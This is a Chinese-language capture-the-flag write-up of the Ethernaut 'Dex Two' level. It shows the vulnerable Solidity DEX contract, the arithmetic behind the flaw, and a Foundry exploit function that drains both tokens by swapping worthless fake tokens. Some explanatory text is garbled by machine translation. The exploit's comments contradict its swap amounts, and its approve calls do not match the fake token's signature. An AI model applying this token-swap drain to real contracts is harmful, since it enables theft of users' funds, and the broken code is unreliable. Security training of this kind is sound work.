抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Dex Two

1. 题目要求

  • 1.1 This level will ask you to break DexTwo, a subtlely modified Dex contract from the previous level, in a different way.

    You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

    You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.

    Things that might help:

  • 题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

2. 分析

tips:参考博客

  • 2.1 分析合约:

    • swap 函数 :
1
2
3
4
5
6
7
8
9
10
11
function swap(
address from,
address to,
uint256 amount
) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
  • 当前swap函数不检查from,实际上是合约处理的to白名单token1和代币。token2``DexTwo

    这是该函数先前版本中存在的检查:require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

    这是什么意思?这允许攻击者调用该swap函数,出售任意 令牌以从 Dexfrom获取“真实”令牌。to这意味着我们可以创建一个UselessERC20完全由我们拥有和管理的全新代币(我们可以铸造、销毁、做任何我们想做的事)并获得一些token1token2免费获得。

    我们可以耗尽DexTwo合同token1token2各打一次电话吗?为此,我们需要找到正确的fakeToken卖出数量以取回 100 token1

  • 做数学计算,看一下getSwapAmount函数

  • 100 token1 = amountOfFakeTokenToSell * DexBalanceOfToken1 / DexBalanceOfFakeToken
    100 token1 = amountOfFakeTokenToSell * 100 / DexBalanceOfFakeToken
    
    1
    2
    3
    4
    5
    6

    - 我们有两个可以控制的变量。我们肯定知道它`DexBalanceOfFakeToken`必须**> 1**否则交易将因为被**0 除**而恢复。如果我们发送 1`FakeToken`给`DexTwo`我们

    - > ```unknown
    100 token1 = amountOfFakeTokenToSell * 100 / 1
    1 token1 = amountOfFakeTokenToSell
  • 因此,通过1 FakeToken1DexTwo合约发送给它一些流动性,我们可以交换 100FakeToken以取回 100 token1。之后,我们只需要对另一个实例重复相同的操作,并从 Dex 中FakeToken2排出所有的。token2

  • 攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function exploitLevel() internal override {
vm.startPrank(player, player);

// Deploy a fake token based on the SwappableTokenTwo contract
// Mint 10k tokens and send them to the player (msg.sender)
SwappableTokenTwo fakeToken1 = new SwappableTokenTwo(address(level), "Fake Token 1", "FKT1", 10_000);
SwappableTokenTwo fakeToken2 = new SwappableTokenTwo(address(level), "Fake Token 1", "FKT1", 10_000);


// Approve the dex to manage all of our token
token1.approve(address(level), 2**256 - 1);
token2.approve(address(level), 2**256 - 1);
fakeToken1.approve(address(level), 2**256 - 1);
fakeToken2.approve(address(level), 2**256 - 1);

// send 1 fake token to the DexTwo to have at least 1 of liquidity
ERC20(fakeToken1).transfer(address(level), 1);
ERC20(fakeToken2).transfer(address(level), 1);

// Swap 100 fakeToken1 to get 100 token1
level.swap(address(fakeToken1), address(token1), 1);
// Swap 100 fakeToken2 to get 100 token2
level.swap(address(fakeToken2), address(token2), 1);

// Assert that we have drained the Dex contract
assertEq(token1.balanceOf(address(level)) == 0 && token2.balanceOf(address(level)) == 0, true);

vm.stopPrank();
}

3. 解题

评论



政策 · 统计 | 本站使用 Volantis 主题设计